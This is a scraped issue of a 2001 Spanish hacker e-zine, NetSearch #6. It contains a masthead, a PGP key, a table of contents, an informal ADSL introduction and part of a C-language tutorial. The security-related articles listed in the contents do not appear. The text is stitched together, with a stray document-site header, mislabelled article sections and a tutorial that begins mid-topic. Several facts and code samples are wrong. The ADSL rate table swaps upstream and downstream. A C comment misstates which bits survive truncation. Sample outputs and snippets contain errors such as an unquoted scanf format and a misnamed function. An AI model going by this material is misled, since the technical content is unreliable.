Escolar Documentos
Profissional Documentos
Cultura Documentos
- Segunda Epoca -
+----------------------------------------------------+
| The NetSearch E-Zine - Numero VI - Volumen II |
| 02/07/2001 |
+----------------------------------------------------+
- [ http://www.netsearch-ezine.com ] -
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+----------------------------------------------------------------------------+
| |
| NOTA: Ninguno de los autores que han colaborado en este numero se hacen |
| responsables de los actos que algunas personas puedan cometer una |
| una vez hayan leido sus respectivos articulos. |
| |
+----------------------------------------------------------------------------+
- WEB OFICIAL:
http://www.netsearch-ezine.com
http://netsearch.page.to -> (redireccionador)
- CANAL DE IRC:
#netsearch , en el IRC-Hispano
- MAILS OFICIALES:
===========================================================
== ==
== Editor -> editor@netsearch-ezine.com ==
== Webmaster -> webmaster@netsearch-ezine.com ==
== Staff -> staff@netsearch-ezine.com ==
== ==
===========================================================
- DISTRIBUIDORES OFICIALES:
http://www.vanhackez.com
http://www.zine-store.com.ar
http://personales.com/espana/lugo/underhack/
- LLAVE PGP:
<++> llavesPGP/netsearch.asc $c47382c0f38094f037d2ec3326aee840
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: For info see http://www.gnupg.org
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
=PFmI
-----END PGP PUBLIC KEY BLOCK-----
<-->
- STAFF:
===========================================================
== ==
== Sp4rK -> sp4rk@netsearch-ezine.com ==
== |CoDeX| -> codex@netsearch-ezine.com ==
== RaiSe -> raise@netsearch-ezine.com ==
== cafo -> cafo@netsearch-ezine.com ==
== QuasaR -> quasar@netsearch-ezine.com ==
== PowR -> powr@netsearch-ezine.com ==
== Pope -> pope@netsearch-ezine.com ==
== MoebiuZ -> moebiuz@netsearch-ezine.com ==
== kekabron -> kekabron@netsearch-ezine.com ==
== MegadetH -> megadeth@netsearch-ezine.com ==
== HandeR -> hander@netsearch-ezine.com ==
== Chapulino -> chapulino@netsearch-ezine.com ==
== ==
===========================================================
- SALUDOS:
* A PaRaNoiK
* A todos los e-zines de habla hispana
* A los colaboradores de este numero
* A toda la gente del IRC y de la lista de correo
* A tod@s en general
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
+ TOC
+---------------------------------------------------------+---------------+
| FILE | SIZE | TITULO | AUTOR |
|==========+========+=====================================+===============|
| 0x00.txt | 10K | Indice | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x01.txt | 7K | Editorial | Editor |
+----------+--------+-------------------------------------+---------------+
| 0x02.txt | 27K | Todo (o casi todo) sobre ADSL | MegadetH |
+----------+--------+-------------------------------------+---------------+
| 0x03.txt | 24K | Lenguaje C (2/2) | JohnnyG |
+----------+--------+-------------------------------------+---------------+
| 0x04.txt | 27K | Bugs de Formato (1/2) | RaiSe |
+----------+--------+-------------------------------------+---------------+
| 0x05.txt | 6K | NetSearch al habla | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x06.txt | 35K | Redes Privadas Virtuales (VPN) | NETb0rg |
+----------+--------+-------------------------------------+---------------+
| 0x07.txt | 38K | Micro Motorola MC68000 | MoebiuZ |
+----------+--------+-------------------------------------+---------------+
| 0x08.txt | 15K | En contacto con Wintermute | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x09.txt | 19K | Overflows Alfanumericos | RaiSe |
+----------+--------+-------------------------------------+---------------+
| 0x10.txt | 25K | Breves de NetSearch | Varios |
+----------+--------+-------------------------------------+---------------+
| 0x11.txt | 12K | Intro. a Circuitos Digitales | WhEkeP |
+----------+--------+-------------------------------------+---------------+
| 0x12.txt | 40K | NetSearch Mail/INBOX | NetSearch |
+----------+--------+-------------------------------------+---------------+
| 0x13.txt | 15K | Introduccion a Linux | HuFaKlF |
+----------+--------+-------------------------------------+---------------+
| 0x14.htm | 312K | Curso de Virii (Virus Inform.) | Wintermute |
+----------+--------+-------------------------------------+---------------+
| 0x15.txt | 13K | Balanceo de carga entre SMTP's | |CoDeX| |
+----------+--------+-------------------------------------+---------------+
| 0x16.txt | 15K | Introduccion a JunOS | TaSeH |
+----------+--------+-------------------------------------+---------------+
| 0x17.txt | 49K | Seguridad en la WWW | Memonix |
+----------+--------+-------------------------------------+---------------+
| 0x18.txt | 1K | Despedida | Editor |
+----------+--------+-------------------------------------+---------------+
- [ [ NetSearch Ezine #6 ] ] -
==================================================================
== Para extraer los articulos del ezine en archivos separados ==
== ejecutar "./nextract -s ns006.txt" ==
==================================================================
- [ http://www.netsearch-ezine.com ] -
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
El Editor
-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__
NetSearch Staff
UNDERSEC Security Team
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
*0 Prologo
Bueno pues ya estamos aki un numero mas, dando la puta coa xD. Esta vez me
he desviado un poco del tema de la seguridad y me he decantado a escribir
sobre una tecnologia que muchos estais usando ya, aunke solo para acceder
pobremente a Inet, (cutremente, timo rlZ) pero, que bien desarrollada, puede
significar mucho en el campo de redes de datos (telecos suckS). Ademas como
ultimamente me he tirado a las redes xD, pos se nota...
Es una "pekea" intro, ya que se podria escribir un libro entero. Si alguien
kiere ver las imagenes que acompaan al arti mail me.
*2 ADSL intro
ADSL vino a resolver algunas limitaciones que tenian otros miembros de la
familia xDSL con los askerosos bucles locales de abonado (sobre todo los de
la timo, donde te puedes encontrar empalmes de trozos de cables asi
retorciendo las puntas, entre otras barbaridades...). Dichos bucles locales
(cableado k va desde la centralita + proxima hasta casa del sufrido abonado)
siempre se han dejado abandonados, a pesar de la digitalizacion de las
centrales y de los troncales con tecnologias de portadora T y E (si alguien
esta interesado en conocer el funcionamiento/historia de las portadoras T y E
mail me o mail al staff) hace ya aos (bueno aki no tantos gracias de nuevo a
la eficiencia de nuestra kerida timo).
Asi p.e. HDSL y SDSL no soportan el transporte de seales analogicas, por
tanto no soportaban los telefonos analogicos, k todo dios tiene, hacia falta
un telefono digital o bien un TA (terminal adapter) como en los viejos
tiempos de la RDSI. Tambien se observo que los usuarios requerian por norma
general mas ancho de banda en sentido descendente que en sentido ascendente,
todo esto se resume en ADSL.
Las caracteristicas k distinguen a ADSL de otros DSLs son la inclusion de
unos filtros (tb conocidos como splitters,que son en la mayoria de casos
filtros de paso-bajo) entre el commutador local (centralita -si alguien esta
interesado en conocer el funcionamiento de una cia de telefonos mail me o al
staff-) y los equipos de usuario. Su funcion es separar las seales
analogicas (voz, faxes..) de las digitales (si alguien kiere saber
exactamente como, mail me o al staff) y tambien la de desviar el trafico de
datos hacia un commutador ATM o un router IP, que dirige los datos hacia un
ISP, un SP, intranets, Inet..etc, todo eso sin pasar por los abarrotados
troncales de las compaias telefonicas (esta es otra ventaja), cosa que no
hace la RDSI. La RDSI (valga la redundancia) usa los mismos troncales que la
voz, y por supuesto los modems analogicos tb (si alguien esta interesado en
la commutacion de circuitos que usa la RTC o la de paquetes mail me o al
staff). La maxima velocidad establecida para ADSL es de 8,192 Mbps
(downstream) aunque esto es casi imposible. Ademas p.e. los ISPS no soportan
estas velocidades de los usuarios, asi que estamos en 4/6 Mbps.
- -2-1 Configuracion
Ver Apendice-B : terminologia ADSL
Una configuracion basica podria ser la siguiente:
En la parte del usuario la ATU-R (Adsl Transmission Unit-Remote) hasta el
dispositivo final,que podria ser una Lan Ethernet, ATM o hasta un
decodificador para video digital. En el commutador de la centralita el
servicio de voz se dirige hacia la RTC con ayuda de otro filtro, y las
seales digitales se dirigen hacia un DSLAM (multiplexor DSL) que lleva
incluidos varios ATU-C (Adsl Transmission Unit-CO (central)).
Los servicios podrian ser ofrecidos de la siguiente manera:
Tras pasar por el DSLAM se pueden agrupar los enlaces ADSL hasta llegar a un
DACS (digital cross connect/panel de interconexion digital) llevando este los
datos hacia un sistema de troncales (T-3 o E-3 p.e.) y desde ahi hasta el
ISP, que a traves de sus routers los mandaria hacia Inet, intranets
corporativas, etc. Tambien se podria conectar el DSLAM a un router, a un
router IP o a un commutador ATM (mas sobre redes y enrutado IP o sobre redes
ATM mail me o al staff) situado en la misma centralita si el ISP o SP es el
mismo proveedor de ADSL.
El nodo de acceso DSLAM actualmente en la mayoria de ocasiones solo se dedica
a transportar los bits hacia los servicios por simples circuitos, es decir,
si hay 10 usuarios recibiendo 3 Mbps en downstream y 128Kpbs en upstream,el
enlace hacia el proveedor de servicios (ISP p.e.) debe ser de al menor 30Mbps
en ambos sentidos, aunke en downtream solo haga falta 1,280Mbps. Esto es
debido a la multiplexacion de las portadoras T (y E) (mas sobre la
multiplexacion (TDM,FDM,etc) y/o sobre portadoras T y E mail me o al staff).
Dichas portadoras son los enlaces usados normalmente. Esto se podria evitar
consiguiendo una multiplexacion estadistica en el DSLAM o incorporando
funcionalidad de commutacion de paketes en el mismo DSLAM. El aumento de
prestaciones del DSLAM sera mas normal dentro de poco, pudiendo incorporar
enrutadores IP, commutadores ATM, ofrecer servicios frame-relay, etc.
*3 Transporte y Canales
- -3.1 La transmision
Los productos ADSL han sido desarrollados usando la modulacion CAP y DMT,
(Carrierless Amplitude Phase y Discrete Multi Tone) como codificaciones de
linea. Es decir, a grosso modo es la forma en que se envian los putos bits
(esto, aunke distinto, podria ser equivalente al famoso 4B/5B de Fast
Ethernet por si os suena mas...). Normalmente se usa DMT por su capacidad de
adaptarse a las condiciones de la linea, al ruido y a las diafonias. No entro
a tratar aqui DMT (ni CAP/QAM) pk eso da para otro articulo...
Si se utiliza el mismo par de hilos para una operacion full-duplex,se debe
dividir el rango de frecuencia en 2 bandas: upstream y downstream (FDM,
multiplexacion por division en frecuencias), o usar la cancelacion de eco. La
cancelacion de eco elimina la posibilidad de k la seal en una direccion sea
interpretada como producida en direccion opuesta, y devuelta hacia el origen.
Esto se produce por incompatibilidad de impedancias en el medio de
transporte, y al usar la misma frecuencia se interpreta como una seal
procedente del otro extremo (los canceladores de eco restan la seal enviada
de la recibida). En ADSL se usan de manera conjunta ambos, ya k debido a la
naturaleza asimetrica de esta, los rangos de frecuencias se pueden solapar,
pero no coincidir (mas sobre FDM y cancelacion de eco mail me o al staff).
*5 Modos de distribucion
El ADSL Forum ha definido 4 modos de distribucion para la totalidad de las
tecnologias xDSL (incluido ADSL). Dichos modos determinan unicamente la forma
en la k se envian los bits de las tramas ADSL, y de paso considerar a ADSL no
como un anexo a la RTC sino como una alternativa.
El 1er modo y menos interesante establecido por el ADSL forum es conocido
como el "bit synchronous mode". Significa k cada bit colocado en el buffer
fast o interleave de un dispositivo en un extremo del enlace ADSL (ATU-R)
aparecera en el otro extremo (ATU-C). En su forma mas simple consistiria en
un canal descendente a 1,536 Mbps y uno ascendente a 64 Kbps. En este modo el
ATU-C maneja los bits k le llegan por el canal C o LS enviandolos hacia algun
commutador de circuitos de la central o (por ejemplo) a un router IP
conectado a Inet.
El segundo modo es el modo adaptador de paketes (paquet adapter mode). Se
produce un cambio en el equipo de usuario de forma k este preparado para
enviar y recibir paketes en lugar de un flujo de bits. Los paketes se
disponen en las tramas ADSL de acuerdo con alguna funcion de adaptacion. De
esta manera se puede conectar p.e. una LAN entera a un enlace ADSL. Estos 2
modos usan canales multiplexados en el tiempo (TDM) hasta el dispo- sitivo
final (mas sobre TDM y FDM mail me o al staff).
El tercer modo es el modo de paketes punto a punto (end to end packet mode).
Es un modo similar al anterior, de hecho aunke se presenten de forma separada
suelen usarse juntos para generar un servicio basado en paketes. La
diferencia con el modo anterior es k los paketes son multiplexados en los
canales ADSL, es decir no son mapeados en una secuencia de tramas
representando ASs o LSs sino k son enviados a un enlace ADSL sin canales, en
los k se producen flujos upstream y dowsntream a una velocidad determinada.
Naturalmente los paketes del usuario y del proveedor del servicio deben ser
del mismo tipo. Los paketes son enviados hacia y desde sus propios servidores
basandose en la direccion, o bien hacia el router de un ISP p.e. En
definitiva esto ya nos es muy familiar pk se trata de una red de commutacion
de paketes y no de circuitos.
El ultimo modo es el ATM mode, o mejor dicho el ATM punto a punto. Este modo
multiplexa y envia celdas ATM desde un adaptador ATM (ATU-R) en vez de
paketes IP (o de cualkier tipo). En el lado del proveedor de servicios el
ATU-C trasvasa las celdas a una red ATM. Recordemos k aparte del uso de ATM
para la transmision de audio/video por sus caracteristicas, ATM puede
transportar paketes IP tb. Destacar k los dispositivos ATU-C normalmente
forman parte de un DSLAM (multiplexor de acceso a linea digital de abonado).
Estos 4 modos de distribucion, se combinan con los formatos de informacion
de otros ekipos k forman parte de la arkitectura (aparte del ATU-C/ATU-R)
para crear al menos 6 caminos diferentes para acceder a servicios basados
en ADSL:
ADSL para TCP/IP: modo adaptador
ADSL para TCP/IP: modo extremo a extremo
ADSL para ATM
Red ADSL - ATM
Red ADSL - ATM: PPP usando PVC
Red ADSL - ATM: PPP usando SVC
Si estais interesados en conocer alguno de estos metodos, mail me o al staff.
Estos metodos van desde el simple acceso a Inet, Intranets, y servidores,
hasta servicios de video bajo demanda...etc.
*6 Conclusion y despedida
Bueno esto como veis es bastante amplio, aki he intentado hacer una pekea
introduccion a la ADSL, mas ke nada pk esta claro k las tecnologias xDSL
suponen un punto a tener en cuenta en cuanto a conectividad (por ejemplo
HDSL ya se esta usando para sustituir a las portadoras T1/E1). ADSL de
cara al usuario final y a la pyme puede constituir una linea de acceso
de gran velocidad y ancho de banda k puede ser usada tanto para el acceso
a Inet (si es ke los ISPs y la misma Inet tal como estan pueden soportarlo),
como para el acceso a Intranets y servidores privados, servicios, e incluso
llegando a poder ser usada para el video/audio bajo demanda.
Lo k no se es si la timo estara a la altura (de cobrar por supuesto k si). De
momento, y como pasaba con la RDSI, los "tecnicos" no tienen ni puta idea.
Si teneis alguna pregunta no os corteis:
megadeth@netsearch-ezine.com (Personal)
staff@netsearch-ezine.com (Lista del staff)
netsearch@yahoogroups.com (Lista de correo general)
*Apendice A
Miembros mas importantes de la familia xDSL
HDSL HDSL2 (DSL de alta velocidad) 1,544/2,048 Mbps Simetrico
SDSL (DSL simetrico) 768 Kbps Simetrico
ADSL (DSL asimetrico) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps (downstream)
asimetrico
RADSL (DSL de velocidad adaptable) 1,5 a 8 Mbps (upstream) 16 a 640 Kbps
(downstream) asimetrico
CDSL (DSL de consumidor) hasta 1 Mbps (upstream) de 16 a 128 Kbps (upstream)
asimetrico
IDSL (DSL de RDSI) velocidad como el BRI basico RDSI , simetrico
VDSL (DSL de muy alta velocidad) De 13 a 52 Mbps (downstream) de 1,5 a 6,0
(upstream) ,asimetrico
*Apendice B
Terminologia ADSL
ATU-C unidad de transmision ADSL lado de la central
ATU-R unidad de transmision ADSL lado remoto (usuario)
B Entrada auxiliar de datos
DSLAM Multiplexor de acceso DSL
POTS-C Interfaz entre la RTC y el filtro lado de la central
POTS-R Interfaz entre la RTC y el filtro lado del usuario
T-SM Interfaz T para el modulo de servicio
U-C Interfaz U lado de la central
U-C2 Interfaz U lado de la central desde el filtro al ATU-C
U-R Interfaz U lado remoto (usuario)
U-R2 Interfaz U lado remoto desdel el filtro a la ATU-C
Va Interfaz V lado del nodo de acceso
Vv Intrfaz V lado remoto
*Apendice C
Tablas de restricciones de velocidad
- -1,536 (T)
AS0 n x 1,536 n=0,1,2,3 o 4
AS1 n x 1,536 n=0,1,2 o 3
AS2 n x 1,536 n=0,1 o 2
AS3 n x 1,536 n=0 o 1
- -2,048 (E)
AS0 n x 2,048 n=0,1,2 o 3
AS1 n x 2,048 n=0,1 o 2
AS2 n x 2,048 n=0 o 1
*Apendice D
Maximo numero de canales duplex soportados por clase
- -clase 1 o 2M 1 conf 1: 160 Kbps + 384 Kbps LS1,LS2
conf 2: 576 Kbps solo LS2 solo
- -clase 2,3 y 2M 2 conf 1: solo 160 Kbps LS1 solo
conf 2: solo 384 Kbps LS2 solo
- -clase 4 y 2M 3 solo 160 Kbps
*Apendice E
Ultima hora xD, acabo de recibir (k casualidad) la atenta llamada de una srta
de la timo ofreciendome la conversion de mi RDSI a ADSL gratix. Solo tengo k
comprarles (me pregunto si podria comprarlo x mi cuenta) el ATU-R/Router
capao pa la red por 35 K (no ta mal, todo hay k decirlo).
El palo viene ahora: 6500 pts/mes por 256Kbps en downstream y 128 en
upstream, si kieres mas arruinate pagando..(suponiendo k rulep..), asi no hay
manera de prosperar. Lluego estan los "tecnicos"... keee, ke tienen k
configurarme keeeee?? y una mierda mete nadie la zarpa aki!! amas no uso
windows...........
0x00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Modificadores de tipo.
----------------------
Sirven para alterar el significado de los distintos tipos base. Los
posibles son:
Declaracion de variables.
-------------------------
La declaracion de variables se realiza de la siguiente forma:
tipo lista_de_variables;
1: int x, y, z;
Hay tres puntos donde se pueden declarar variables:
* Dentro de una funcion : La variable sera local a esa funcion.
* Fuera de una funcion: La variable sera global.
* Parametro de una funcion. Variable local a esa funcion.
Modificadores de acceso.
------------------------
Los modificadores de acceso influyen en la forma de modificar el valor de
una variable.
* const : constante. El valor no puede ser cambiado;
1: const int a;
* volatile : Variable cuyo valor va poder ser modificado sin previo aviso o
sin que pase por alguna instruccion de C (Como puertos, detectores
visuales...);
1: const volatile unsigned char *port = 0x36;
En este caso, puede parecer raro juntar const con volatile. Vamos a
explicarlo:
La variable en si, es un puntero de nombre port (*port), que guarda un
caracter sin signo (unsigned char). El puntero apuntara al puerto 0x36, que
sera constante, (const) siempre apuntara a ese puerto, pero el valor que haya
en ese puerto, puede variar en cualquier instante (volatile). Si no lo has
entendido, no te preocupes, yo todavia no me he echo a la idea, pero me lo
creo. (Consejo: Si en todos los sitios te dicen que algo es blanco, y tu lo
ves negro, creete que es blanco, al final lo entederas. No preguntes como,
pero creetelo).
* Variables globales
Se declaran fuera de todas las funciones, al comienzo del programa. Tienen
un valor conocido en cualquier punto del programa. El espacio de memoria se
reservara durante toda la ejecucion del programa. Se pueden volver a declarar
dentro de una funcion, variables locales con el mismo nombre, y cuando nos
refiramos a una variable, sera a la local, no a la global.
1: #include <stdio.h>
2: int x;
3: main ( )
4: {
5: ...
6: }
7:
8: buscar (char c, char s)
9: {
10: int x;
11: ... /* Si hicieramos alguna referencia a x, seria a la local */
12: }
Inconvenientes:
. Utiliza memoria durante todo el tiempo de ejecucion del programa.
. Una funcion, si recoge o usa valores de una variable global, no
tendra portabilidad.
. Se puede cambiar accidentalmente el valor de la variable, lo que hace
bastante mas dificil la depuracion.
Almacenamiento de variables.
---------------------------
Indican como se van a almacenar las variables que estamos declarando. Se
coloca delante de la declaracion de la variable.
* auto : Es de tipo automatico. Se toma por defecto cuando esta dentro de
una funcion o bloque. Es una variable local.
* extern : Tiene dos usos. Para programas de varios ficheros, indica que la
variable ya esta declarada en otro fichero. En este caso no reservara
memoria de nuevo.
Fichero 1
1: #include <stdio.h>
2: .
3: int x;
4: main ( )
5: {
6: ...
7: }
Fichero 2
1: extern int x;
Al linkar los dos ficheros, es cuando se resuelve la direccion de la
variable.
El segundo uso seria para indicar en un bloque que una variable esta declarada
fuera del bloque. Indica que es una variable global.
1: #include <stdio.h>
2:
3: int x;
4: main ( )
5: {
6: ...
7: }
8:
9: func1 ( )
10: {
11: extern int x;
12: ...
13: }
Conversion de tipos
-------------------
En C, a diferencia de Pascal, en una expresion se permite la combinacion de
tipos. Cuando en una asignacion se mezclan diferentes tipos, se convierte el
valor de la expresion de la derecha, al tipo de dato de mas a la izquierda, y
se eliminan los bits mas significativos, si es necesario.
1: int x;
2: char ch;
3: float f;
4: {
5: ch = x; /* Pasan los 8 bits mas significativos */
6: x = f; /* Elimina la parte decimal */
7: f = ch; /* Almacenara un caracter */
8: printf ("\n%d%d%f", ch, x, f);
9: }
Las salidas por pantalla serian:
Valores : x = 25 ; f = 34.35
Salidas : ch = 25 ; x = 34; f = 25.000000
Valores : x = 315 ; f = 65000.15
Salidas : ch = 59 ; x = 536 ; f = 59.000000
getchar ( ) , putchar ( )
-------------------------
Leen y escriben un caracter en pantalla. La lectura se hace con eco (El
caracter pulsado se escribe en pantalla).
1: #include <stdio.h>
2: #include <ctype.h>
3: main ( )
4: {
5: char ch;
6: do {
7: ch = getchar ( );
8: if ( islower(ch)) putchar (toupper (ch));
9: else putchar (tolower (ch));
10: } while (ch !='.');
11: }
Las funciones islower, toupper y tolower, se encuentran en la libreria
ctype.h
* islower () Devuelve cierto si el caracter es una minuscula.
* toupper () Devuelve la mayuscula del caracter que se le pasa.
* tolower () Devuelve la misnuscula del caracter que se le pasa.
getch ( )
---------
Igual que getchar ( ) pero sin eco.
gets ( ) , puts ( )
-------------------
Leen o imprimen una cadena en teclado. Al leer gets ( ) una cadena de
teclado, lo hace incluyendo espacios y todo tipo de caracteres hasta hayar
un retorno de carro.
1: char cadena [30]
Leeria desde el 0 hasta el 28 (Los arrays en C empiezan en 0). El ultimo
espacio siempre se reserva para la marca de fin de linea.
Ademas, puts ( ), permite la inclusion de codigos de barra invertida.
\b espacio hacia atras
\f salto de pagina
\n nueva linea
\r salto de carro
\t tabulacion horizontal
\" imprime "
\' imprime '
\\ barra invertida \
\v tabulaci1/2n vertical
\o constante octal
\x constante hexadecimal.
printf ( ), scanf ( )
---------------------
Son las mas versatiles ya que hacen de todo. Permiten codigos de barra
invertida.
printf ("cadena", lista, de, argumentos);
1: printf ("\n El valor de x es %d", x);
Las ordenes de formato son:
%c caracter.
%d decimales (caracteres y enteros)
%i igual que d
%e notacion cientifica.
%f coma flotante
%g utiliza e o f, lo que sea mas corto
%o octal
%s cadena
%u unsigned
%x hexadecimal
%% %
%p punteros
OPERADORES Y EXPRESIONES
************************
Operadores de asignacion.
-------------------------
Sirven para asignar un valor a una variable.
<vble.> = <valor> /* Tb. Puede ser una expresion */
1: a = 5;
Tambien esta permitido hacer:
<vble> <operador> = <expresion>
Que es equivalente a:
<vble> = <vble> <operador> <expresion>
1: m *=5;
2: m = m * 5;
Una forma de asignacion multiple seria:
1: x = y = j = 10;
2: a = b = getchar ( )
Pero no es aconsajable abusar de esto, pues se puede complicar bastante la
cosa..
1: i = 2;
2: n += (n ++) - (n * i--);
3: tabla [i] = x + (i = 4);
En las operaciones y expresiones de C, puede haber mezcla de tipos de
datos, que el compilador tratara de ajustar por defecto. Los tipos char y
short los pasa a int. El tipo flota pasa a double. Lo que hara C normalmente
sera convertir al tipo mas grande posible.
1: long p;
2: unsigned char q;
3: int i;
4:
5: p+(q*i) /* i pasa a unsigned int, al igual que q, y luego el
6: resultado lo pasa a long */
Operadores aritmeticos
----------------------
Los operadores aritmeticos son los de siempre :
+ - * / % ++ --
% Operacion modulo. Devuelve el resto de una division entre enteros.
/ Si se dividen un int o un char, devuelve un entero o char, quita
la parte decimal.
1: int i;
2: float x;
3: i = 7;
4: j = 3;
5: x = i / j; /* Devuelve 2.000000 */
6: x = (float) i / j; /* Devuelve el autentico valor de la
7: division */
En la sentencia anterior, se ha usado un modificador por molde. Sirve para
convertir un tipo de dato al que queremos para una expresion. Hay que tener
cuidado de como se utiliza. Si en el caso anterior hubieramos puesto:
1: (float) (i/j)
No funcionaria, pues aplicamos el molde al resultado de la operacion, con
la que ya se hubieran perdido los decimales.
Las operaciones ++ y - sirven para incrementar y decrementar un dato de
tipo int. La diferencia entre ambas es:
1: int n;
2: n++;
3: ++n;
En caso de estar en una expresion la n, en el primero de los casos, se
evaluaria el valor de la expresion, y luego se incrementa n, y en el segundo
de los casos, primero se incrementa y luego se halla el valor de la
expresion.
1: m = 4;
2: n = ++m; /* m=5, n=5 */
3: m = 4;
4: n = m++; /* m=5, n=4 */
Otros operadores.
-----------------
? -> Sirve para realizar condiciones.
<condicion> ? <expresion1> : <expresion2>
Si la condicio es verdadera, se ejecutara la expresion1; mientras que si es
falsa sera la expresion2 la que se ejecute. La sentencia tomara el valor de
la expresion ejecutada.
1: m = 50;
2: n = (m == 99 ? 1 : 2) /* n tomaria el valor de 2 */
1: main ( )
2: {
3: int t;
4: printf (":");
5: scanf(%d", &t);
6: t ? f2( ) + fi (t) : printf ("Introducido un 0");
7: }
8: f1 (int n)
9: {
10: printf ("%d", n);
11: }
12: f2( )
13: {
14: printf ("Introducido");
15: }
SENTENCIAS DE CONTROL.
*********************
if, condicional
---------------
1: if (expresion) sentencia1;
2: else sentencia2;
Si la expresion es verdadera, se ejecuta la sentencia1, y si es falsa, se
ejecuta la sentencia2. El else no es obligatorio y puede suprimirse. En ese
caso, si la condicion es falsa, no se haria nada, y se seguiria ejecutando la
siguiente expresion al if. Las sentencias tambien pueden ser bloques de
sentencias.
1: #include <stdio.h>
2: main ( )
3: {
4: int x = 2;
5: if (x != 0) {
6: puts ("x no es cero");
7: printf ("x = %d\n", x);
9: }
10: }
Seria lo mismo que el operador ?.
Los if pueden ir anidados sin ningun tipo de restriccion. A la hora de
emparejar los if con sus respectivos else, si no se incluyen en bloques de
instrucciones, siempre se empareja el else con el if mas cercano que tenga.
Varias formas de anidar los if seria:
1: if (expresion)
2: if expresion sentencia;
3: else sentencia;
1: if expresion {
2: if expresion sentencia;
3: }
4: else sentencia;
